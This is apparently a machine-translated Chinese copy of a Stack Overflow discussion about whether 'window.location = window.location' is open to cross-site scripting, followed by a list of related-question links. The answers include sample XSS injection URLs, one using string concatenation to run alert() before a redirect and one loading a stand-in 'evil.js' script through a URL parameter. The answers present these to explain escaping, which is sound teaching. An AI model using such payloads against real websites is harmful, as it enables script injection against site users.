window.location=window.location易受XSS影响
Is window.location = window.location susceptible to XSS
此问题与作为刷新页面方法的代码window.location = window.location
有关,与重定向/其他变量无关。
我的理解如下:
window.location = window.location
导致页面刷新,因为浏览器将导航到用户已经所在的相同位置
通过DOM操作对此变量的任何更改都将导致页面重新加载/加载攻击者页面,因此这些行将无法在更改值的情况下执行,因此不适合进行跨站点脚本攻击。
这是正确的吗
编辑:我真正想问的是,是否有一种方法可以在不重新加载页面的情况下更改window.location
,以便在调用window.location = window.location
时,浏览器将被发送到另一个位置。
所以,如果我正确理解你的问题,那么这些答案都不正确。可以利用window.location
来执行xs。您遇到的障碍似乎是在执行window.location
行之后,页面将刷新并跳过有效负载的执行。我假设您能够在window.location右侧的字符串中引入内容,并且输入没有正确编码为JavaScript字符串。
例如,如果http://vulnerablewebsite/page?param=derp';alert('xss');var+a+%3d+'
导致如下代码:
<script>
window.location='derp';alert('xss');var a = '';
</script>
您可以利用字符串串联将分配推迟到window.location,直到您的负载执行完毕。所以类似于:
http://vulnerablewebsite/page?param=derp'+%2B+alert('xss')+%2b+'
将产生执行有效负载的以下代码。
<script>
window.location='derp' + alert('xss') + '';
</script>
不过,这确实应该在安全性StackExchange中。
问题与window.location
无关,而是与如何处理在新上下文中使用的任意数据有关。
如果你从一个URL中获取输入,并使用它来构建一个新的URL以重定向到,那么你就会发现问题。采用经典重定向页面。。。
http://example.com/redirect?url=http%3A%2F%2Fsomethingevil
如果页面上有JavaScript将window.location
设置为查询字符串参数url
的值,则页面将转到http://somethingevil
。
XSS的主要方法是允许查询字符串参数将数据注入页面本身。例如,您可能有一个页面显示"Hello Brad",其中"Brad"来自名为name
的URL参数。现在,假设攻击者将URL设置为name=%3Cscript%20src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%22%3E%3C%2Fscript%3E
。如果我只是将name
的值直接注入到页面中,那么我的脚本evil.js
将在该页面上运行。如果我正确地转义数据,那么它可以在页面中使用,因为它将被解释为文本。
- window.location替换并传递URL历史记录条目中的变量
- 可以<脚本类型=“;text/javascript”>window.location=“/"</
- window.location使用jquery mobile实现chrome跳转
- Windows.Open 在 window.Location 工作时不起作用
- 如何将所有作业自定义到window.location.href
- window.location未刷新到现有URL
- 如果window.location.href.indexOf('player=1')添加样式
- 在$state.go之后执行$window.location.reload(true)
- javascript window.location在检查firebug时给了我一个错误的url路径
- angularjs 中 $window.location.reload() 和 $route.reload() 之间的区
- 在AJAX中使用window.location.replace'成功'回调
- IE中不支持JQuery window.location.hash
- PhoneGap如何在更改window.location/document.location后保持Javascript的
- 如何在更改window.location后停止执行
- 警报中的window.location必须重定向到上一页
- 如何在窗体操作或window.location(PHP)中使用数据切换
- 正在将目标添加到window.location
- window.location.htm无法在chrome扩展中工作
- 可以'当window.location.href时,无法从javascript获取post值
- 基于AJAX的网站中的JS window.location